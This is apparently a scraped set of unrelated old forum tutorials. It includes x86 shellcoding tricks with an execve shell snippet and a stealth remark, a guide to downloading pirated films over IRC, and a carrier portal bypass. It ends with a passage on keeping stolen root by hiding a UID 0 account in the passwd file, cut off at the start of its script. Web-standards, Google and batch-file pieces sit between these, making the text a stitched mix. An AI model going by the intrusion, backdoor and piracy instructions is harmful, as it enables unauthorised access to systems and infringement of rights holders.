Advanced Shellcoding Techniques

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.



The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.


The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:


xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.



Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.



Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.

Read More

A Web Standards Checklist, How to make a proper website

A Web Standards Checklist, How to make a proper website

A web standards checklist

The term web standards can mean different things to different people. For some, it is 'table-free sites', for others it is 'using valid code'. However, web standards are much broader than that. A site built to web standards should adhere to standards (HTML, XHTML, XML, CSS, XSLT, DOM, MathML, SVG etc) and pursue best practices (valid code, accessible code, semantically correct code, user-friendly URLs etc).

In other words, a site built to web standards should ideally be lean, clean, CSS-based, accessible, usable and search engine friendly.

About the checklist

This is not an uber-checklist. There are probably many items that could be added. More importantly, it should not be seen as a list of items that must be addressed on every site that you develop. It is simply a guide that can be used:

* to show the breadth of web standards
* as a handy tool for developers during the production phase of websites
* as an aid for developers who are interested in moving towards web standards

The checklist

1.Quality of code
1. Does the site use a correct Doctype?
2. Does the site use a Character set?
3. Does the site use Valid (X)HTML?
4. Does the site use Valid CSS?
5. Does the site use any CSS hacks?
6. Does the site use unnecessary classes or ids?
7. Is the code well structured?
8. Does the site have any broken links?
9. How does the site perform in terms of speed/page size?
10. Does the site have JavaScript errors?

2. Degree of separation between content and presentation
1. Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?
2. Are all decorative images in the CSS, or do they appear in the (X)HTML?

3. Accessibility for users
1. Are "alt" attributes used for all descriptive images?
2. Does the site use relative units rather than absolute units for text size?
3. Do any aspects of the layout break if font size is increased?
4. Does the site use visible skip menus?
5. Does the site use accessible forms?
6. Does the site use accessible tables?
7. Is there sufficient colour brightness/contrasts?
8. Is colour alone used for critical information?
9. Is there delayed responsiveness for dropdown menus (for users with reduced motor skills)?
10. Are all links descriptive (for blind users)?

4. Accessibility for devices
1. Does the site work acceptably across modern and older browsers?
2. Is the content accessible with CSS switched off or not supported?
3. Is the content accessible with images switched off or not supported?
4. Does the site work in text browsers such as Lynx?
5. Does the site work well when printed?
6. Does the site work well in Hand Held devices?
7. Does the site include detailed metadata?
8. Does the site work well in a range of browser window sizes?

5. Basic Usability
1. Is there a clear visual hierarchy?
2. Are heading levels easy to distinguish?
3. Does the site have easy to understand navigation?
4. Does the site use consistent navigation?
5. Are links underlined?
6. Does the site use consistent and appropriate language?
7. Do you have a sitemap page and contact page? Are they easy to find?
8. For large sites, is there a search tool?
9. Is there a link to the home page on every page in the site?
10. Are visited links clearly defined with a unique colour?

6. Site management
1. Does the site have a meaningful and helpful 404 error page that works from any depth in the site?
2. Does the site use friendly URLs?
3. Do your URLs work without "www"?
4. Does the site have a favicon?

1. Quality of code

1.1 Does the site use a correct Doctype?
A doctype (short for 'document type declaration') informs the validator which version of (X)HTML you're using, and must appear at the very top of every web page. Doctypes are a key component of compliant web pages: your markup and CSS won't validate without them.
CODE
http://www.alistapart.com/articles/doctype/


More:
CODE
http://www.w3.org/QA/2002/04/valid-dtd-list.html

CODE
http://css.maxdesign.com.au/listamatic/about-boxmodel.htm

CODE
http://gutfeldt.ch/matthias/articles/doctypeswitch.html


1.2 Does the site use a Character set?
If a user agent (eg. a browser) is unable to detect the character encoding used in a Web document, the user may be presented with unreadable text. This information is particularly important for those maintaining and extending a multilingual site, but declaring the character encoding of the document is important for anyone producing XHTML/HTML or CSS.
CODE
http://www.w3.org/International/tutorials/tutorial-char-enc/


More:
CODE
http://www.w3.org/International/O-charset.html


1.3 Does the site use Valid (X)HTML?
Valid code will render faster than code with errors. Valid code will render better than invalid code. Browsers are becoming more standards compliant, and it is becoming increasingly necessary to write valid and standards compliant HTML.
CODE
http://www.maxdesign.com.au/presentation/sit2003/06.htm


More:
CODE
http://validator.w3.org/


1.4 Does the site use Valid CSS?
You need to make sure that there aren't any errors in either your HTML or your CSS, since mistakes in either place can result in botched document appearance.
CODE
http://www.meyerweb.com/eric/articles/webrev/199904.html


More:
CODE
http://jigsaw.w3.org/css-validator/


1.5 Does the site use any CSS hacks?
Basically, hacks come down to personal choice, the amount of knowledge you have of workarounds, the specific design you are trying to achieve.
CODE
http://www.mail-archive.com/wsg@webstandardsgroup.org/msg05823.html


More:
CODE
http://css-discuss.incutio.com/?page=CssHack

CODE
http://css-discuss.incutio.com/?page=ToHackOrNotToHack

CODE
http://centricle.com/ref/css/filters/


1.6 Does the site use unnecessary classes or ids?
I've noticed that developers learning new skills often end up with good CSS but poor XHTML. Specifically, the HTML code tends to be full of unnecessary divs and ids. This results in fairly meaningless HTML and bloated style sheets.
CODE
http://www.clagnut.com/blog/228/


1.7 Is the code well structured?
Semantically correct markup uses html elements for their given purpose. Well structured HTML has semantic meaning for a wide range of user agents (browsers without style sheets, text browsers, PDAs, search engines etc.)
CODE
http://www.maxdesign.com.au/presentation/benefits/index04.htm


More:
CODE
http://www.w3.org/2003/12/semantic-extractor.html


1.8 Does the site have any broken links?
Broken links can frustrate users and potentially drive customers away. Broken links can also keep search engines from properly indexing your site.

More:
CODE
http://validator.w3.org/checklink


1.9 How does the site perform in terms of speed/page size?
Don't make me wait... That's the message users give us in survey after survey. Even broadband users can suffer the slow-loading blues.
CODE
http://www.websiteoptimization.com/speed/


1.10 Does the site have JavaScript errors?
Internet Explore for Windows allows you to turn on a debugger that will pop up a new window and let you know there are javascript errors on your site. This is available under 'Internet Options' on the Advanced tab. Uncheck 'Disable script debugging'.

2. Degree of separation between content and presentation

2.1 Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?
Use style sheets to control layout and presentation.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-style-sheets


2.2 Are all decorative images in the CSS, or do they appear in the (X)HTML?
The aim for web developers is to remove all presentation from the html code, leaving it clean and semantically correct.
CODE
http://www.maxdesign.com.au/presentation/benefits/index07.htm


3. Accessibility for users

3.1 Are "alt" attributes used for all descriptive images?
Provide a text equivalent for every non-text element
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-text-equivalent


3.2 Does the site use relative units rather than absolute units for text size?
Use relative rather than absolute units in markup language attribute values and style sheet property values'.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units


More:
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units

CODE
http://www.clagnut.com/blog/348/


3.3 Do any aspects of the layout break if font size is increased?
Try this simple test. Look at your website in a browser that supports easy incrementation of font size. Now increase your browser's font size. And again. And again... Look at your site. Does the page layout still hold together? It is dangerous for developers to assume that everyone browses using default font sizes.
3.4 Does the site use visible skip menus?

A method shall be provided that permits users to skip repetitive navigation links.
CODE
http://www.section508.gov/index.cfm?FuseAction=Content&ID=12


Group related links, identify the group (for user agents), and, until user agents do so, provide a way to bypass the group.
CODE
http://www.w3.org/TR/WCAG10-TECHS/#tech-group-links


...blind visitors are not the only ones inconvenienced by too many links in a navigation area. Recall that a mobility-impaired person with poor adaptive technology might be stuck tabbing through that morass.
CODE
http://joeclark.org/book/sashay/serialization/Chapter08.html#h4-2020


More:
CODE
http://www.niehs.nih.gov/websmith/508/o.htm


3.5 Does the site use accessible forms?
Forms aren't the easiest of things to use for people with disabilities. Navigating around a page with written content is one thing, hopping between form fields and inputting information is another.
CODE
http://www.htmldog.com/guides/htmladvanced/forms/


More:
CODE
http://www.webstandards.org/learn/tutorials/accessible-forms/01-accessible-forms.html

CODE
http://www.accessify.com/tools-and-wizards/accessible-form-builder.asp

CODE
http://accessify.com/tutorials/better-accessible-forms.asp


3.6 Does the site use accessible tables?
For data tables, identify row and column headers... For data tables that have two or more logical levels of row or column headers, use markup to associate data cells and header cells.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-table-headers


More:
CODE
http://www.bcc.ctc.edu/webpublishing/ada/resources/tables.asp

CODE
http://www.accessify.com/tools-and-wizards/accessible-table-builder_step1.asp

CODE
http://www.webaim.org/techniques/tables/


3.7 Is there sufficient colour brightness/contrasts?
Ensure that foreground and background colour combinations provide sufficient contrast when viewed by someone having colour deficits.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-contrast


More:
CODE
http://www.juicystudio.com/services/colourcontrast.asp


3.8 Is colour alone used for critical information?
Ensure that all information conveyed with colour is also available without colour, for example from context or markup.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-convey


There are basically three types of colour deficiency; Deuteranope (a form of red/green colour deficit), Protanope (another form of red/green colour deficit) and Tritanope (a blue/yellow deficit- very rare).

More:
CODE
http://colourfilter.wickline.org/

CODE
http://www.toledo-bend.com/colourblind/Ishihara.html

CODE
http://www.vischeck.com/vischeck/vischeckURL.php


3.9 Is there delayed responsiveness for dropdown menus?
Users with reduced motor skills may find dropdown menus hard to use if responsiveness is set too fast.

3.10 Are all links descriptive?
Link text should be meaningful enough to make sense when read out of context - either on its own or as part of a sequence of links. Link text should also be terse.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-meaningful-links


4. Accessibility for devices.

4.1 Does the site work acceptably across modern and older browsers?

Before starting to build a CSS-based layout, you should decide which browsers to support and to what level you intend to support them.
CODE
http://www.maxdesign.com.au/presentation/process/index_step01.cfm



4.2 Is the content accessible with CSS switched off or not supported?
Some people may visit your site with either a browser that does not support CSS or a browser with CSS switched off. In content is structured well, this will not be an issue.

4.3 Is the content accessible with images switched off or not supported?
Some people browse websites with images switched off - especially people on very slow connections. Content should still be accessible for these people.

4.4 Does the site work in text browsers such as Lynx?
This is like a combination of images and CSS switched off. A text-based browser will rely on well structured content to provide meaning.

More:
CODE
http://www.delorie.com/web/lynxview


4.5 Does the site work well when printed?
You can take any (X)HTML document and simply style it for print, without having to touch the markup.
CODE
http://www.alistapart.com/articles/goingtoprint/


More:
CODE
http://www.d.umn.edu/itss/support/Training/Online/webdesign/css.html#print


4.6 Does the site work well in Hand Held devices?
This is a hard one to deal with until hand held devices consistently support their correct media type. However, some layouts work better in current hand-held devices. The importance of supporting hand held devices will depend on target audiences.

4.7 Does the site include detailed metadata?
Metadata is machine understandable information for the web
CODE
http://www.w3.org/Metadata/


Metadata is structured information that is created specifically to describe another resource. In other words, metadata is 'data about data'.


4.8 Does the site work well in a range of browser window sizes?
It is a common assumption amongst developers that average screen sizes are increasing. Some developers assume that the average screen size is now 1024px wide. But what about users with smaller screens and users with hand held devices? Are they part of your target audience and are they being disadvantaged?

5. Basic Usability
5.1 Is there a clear visual hierarchy?
Organise and prioritise the contents of a page by using size, prominence and content relationships.
CODE
http://www.great-web-design-tips.com/web-site-design/165.html


5.2 Are heading levels easy to distinguish?
Use header elements to convey document structure and use them according to specification.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-logical-headings


5.3 Is the site's navigation easy to understand?
Your navigation system should give your visitor a clue as to what page of the site they are currently on and where they can go next.
CODE
http://www.1stsitefree.com/design_nav.htm


5.4 Is the site's navigation consistent?
If each page on your site has a consistent style of presentation, visitors will find it easier to navigate between pages and find information
CODE
http://www.juicystudio.com/tutorial/accessibility/navigation.asp


5.5 Does the site use consistent and appropriate language?
The use of clear and simple language promotes effective communication. Trying to come across as articulate can be as difficult to read as poorly written grammar, especially if the language used isn't the visitor's primary language.
CODE
http://www.juicystudio.com/tutorial/accessibility/clear.asp


5.6 Does the site have a sitemap page and contact page? Are they easy to find?
Most site maps fail to convey multiple levels of the site's information architecture. In usability tests, users often overlook site maps or can't find them. Complexity is also a problem: a map should be a map, not a navigational challenge of its own.
CODE
http://www.useit.com/alertbox/20020106.html


5.7 For large sites, is there a search tool?
While search tools are not needed on smaller sites, and some people will not ever use them, site-specific search tools allow users a choice of navigation options.

5.8 Is there a link to the home page on every page in the site?
Some users like to go back to a site's home page after navigating to content within a site. The home page becomes a base camp for these users, allowing them to regroup before exploring new content.

5.9 Are links underlined?
To maximise the perceived affordance of clickability, colour and underline the link text. Users shouldn't have to guess or scrub the page to find out where they can click.
CODE
http://www.useit.com/alertbox/20040510.html


5.10 Are visited links clearly defined?
Most important, knowing which pages they've already visited frees users from unintentionally revisiting the same pages over and over again.
CODE
http://www.useit.com/alertbox/20040503.html


6. Site management

6.1 Does the site have a meaningful and helpful 404 error page that works from any depth in the site?
You've requested a page - either by typing a URL directly into the address bar or clicking on an out-of-date link and you've found yourself in the middle of cyberspace nowhere. A user-friendly website will give you a helping hand while many others will simply do nothing, relying on the browser's built-in ability to explain what the problem is.
CODE
http://www.alistapart.com/articles/perfect404/


6.2 Does the site use friendly URLs?
Most search engines (with a few exceptions - namely Google) will not index any pages that have a question mark or other character (like an ampersand or equals sign) in the URL... what good is a site if no one can find it?
CODE
http://www.sitepoint.com/article/search-engine-friendly-urls


One of the worst elements of the web from a user interface standpoint is the URL. However, if they're short, logical, and self-correcting, URLs can be acceptably usable
CODE
http://www.merges.net/theory/20010305.html


More:
CODE
http://www.sitepoint.com/article/search-engine-friendly-urls

CODE
http://www.websitegoodies.com/article/32

CODE
http://www.merges.net/theory/20010305.html


6.3 Does the site's URL work without "www"?
While this is not critical, and in some cases is not even possible, it is always good to give people the choice of both options. If a user types your domain name without the www and gets no site, this could disadvantage both the user and you.
6.4 Does the site have a favicon?

A Favicon is a multi-resolution image included on nearly all professionally developed sites. The Favicon allows the webmaster to further promote their site, and to create a more customized appearance within a visitor's browser.
CODE
http://www.favicon.com/


Favicons are definitely not critical. However, if they are not present, they can cause 404 errors in your logs (site statistics). Browsers like IE will request them from the server when a site is bookmarked. If a favicon isn't available, a 404 error may be generated. Therefore, having a favicon could cut down on favicon specific 404 errors. The same is true of a 'robots.txt' file.

Read More

Accessing The Entire Internet On Your 3 Phone, U8110, E616 etc.

If you have a phone thats with the provider 3 theres a simple trick to allow you to access the entire internet on its browser without having to go through 3 services and only what they want to allow you access to view.

Simply do the following.

Menu - 9 (for settings) - 5 (for access points) - Edit the 3 Services
Change the APN (down the bottom) from 3services to 3netaccess
Restart the phone
And you can now access the entire internet through your phones browser.

Remember you'll have to change it back if you want to access 3 services.
Changing it in the browser doesn't seem to work.

I have tried this on my U8110 and it worked perfectly

Things to note:

* Remember that you are charged for all downloads (.4c per kb on most plans) so if your cautious about your phone bill id advise staying away from sites with loads of pictures.
* Also, some people have had trouble where they have accessed a site with too much information on it and the phone has either froze or reset. The phone is not harmed by this but its advisable you dont go to large sites on it for this or the above reason. If your phone freezes and you cant turn it off simply take the battery out and put it back in.

Read More

20 Great Google Secrets

Google is clearly the best general-purpose search engine on the Web (see

www.pcmag.com/searchengines

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com


Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).




Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.


Online Extra: More Google Tips


Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif


), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

Read More

#DataVault, Irc Warez (Ty 4 Moving X)

Once Downloaded And Installed.. Next Step Is To Get Yourself Connected To The Datavault Network..

Step 1 :- Open irc, Goto Tools,Options. Then Servers, Click Add
Under Description Type : DataVault
Under IRC Server Type : irc.addictz.net
Under Port(S) Type : 6667-6669

Now Click Ok..

Step 2 : Connecting To Irc.Addictz.Net

Goto Tools/Options/Servers
Select Datavault From Drop Down Menu
Tick "New Server Window"
Then Click Connect

A New Window Will Open Telling You That You Are Connecting To Irc.Addictz.net

Step 3 : Now You Have To Register YourSelf.

In The Window Type /msg nickserv register "your Password" "Your Valid Email"
Next Type /msg NickServ IDENTIFY "The Password You Just Entered"

It Should Now Say Your Registered!

Now Type /J #Datavault

Step 4 : The Bots In DataVault Spam What They Host Every 1 Hour, Becareful Not To Spam These Or Else You Will Be Banned..

Every Hour You Will See What Looks Like Below :-

** To request a file type: "/msg slut02 BITCH send #x
#1 392x [0.7G] Torque.DVDRiP.XviD-BRUTUS
#2 1509x [0.7G] The.Butterfly.Effect.DVDRip.XviD-DMT

It's Simple To Request A Download Now..

There Are Different Bots With Different Names, Ie Slut02 Is Just One Bot, There Are More Called Dv44, Dv33 Slut03 Etc.. However The Trigger Principle Is The Sa,e

Now If For Example You Wanted To Download "The ButterFly Effect", In The Main Chat Window You Would Type or Copy /msg slut02 BITCH send #2

Let Me Explaine.. /msg Is The Trigger, Slut02 Is The Bot BITCH and Send Are Both Triggers #2 Is The File Number You Want. Each Bot Can Host Numerouse Files, Ie #1 Being Another Film, #3 Also Being Another Film.

Once You Have Done That And Press Return, Just Sit Back And Wait.. Either The Download Will Start Straight Away, Or You Will Be Qued (*Cough Dodgy Spelling*)

Right Now To The Benifits Of #Datavault..

1: The Latest Release Of Most Films And Games.
2: 99.99% The Time You Get To Download At You Max BandWidth No Matter Your Connection (Either 56k (Omg Dont Download A 3 Gig File On That!!), Or A T1/OC3 Connection))

I Hope Someone Finds This HelpFull, If It's In The Wrong Place/ Or Inappropriate Then Plz Delete And Serve Me The Warning I Deserve....

Edit : It's A Good Idea To Have Auto Accept Dcc On, Incase Your Away When You Come InLine For Your Download, Generally Even If Your 20th In Que And It Says 3 Hours Wait, Your Prolly Looking At Around 30 Mins Waiting Slot..

Any Problems Please Let Me Know.. NN Peeps..

Read More

How to Add an Option to Print the Contents of a Folder

How to Add an Option to Print the Contents of a Folder

Would you like to be able to right click any folder in Explorer and print its contents? You can add this option to the context menu by following these steps:

First, you need to create a batch file called Printdir.bat. Open Notepad or another text editor and type (or cut and paste) this text:

@echo off
dir %1 /-p /o:gn > "%temp%\Listing"
start /w notepad /p "%temp%\Listing"
del "%temp%\Listing"
exit

Now, in the Save As dialog box, type "%windir%\Printdir.bat" (without the quotation marks) and click the Save button.
Click Start, Control Panel, Folder Options.
Click the File Types tab, and then click File Folder.
Click the Advanced button.
Click the New button.

In the Action box, type "Print Directory Listing" (without the quotation marks).

In the Application used to perform action box, type "Printdir.bat" (without the quotation marks).

Click OK in all three dialog boxes to close the dialog boxes.

You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.

Navigate to HKEY CLASSES ROOT\Directory\shell.

Right click on "default" and select Modify.
In the File Data box, type "none" (without the quotation marks).

Click OK and close the Registry Editor.

Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.

Who needs a stinking program to print a folder directory?

Read More

Backdoor

Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....?

This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
system?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.

Beforehand

Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...

The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.



The Overt

[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...

#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com

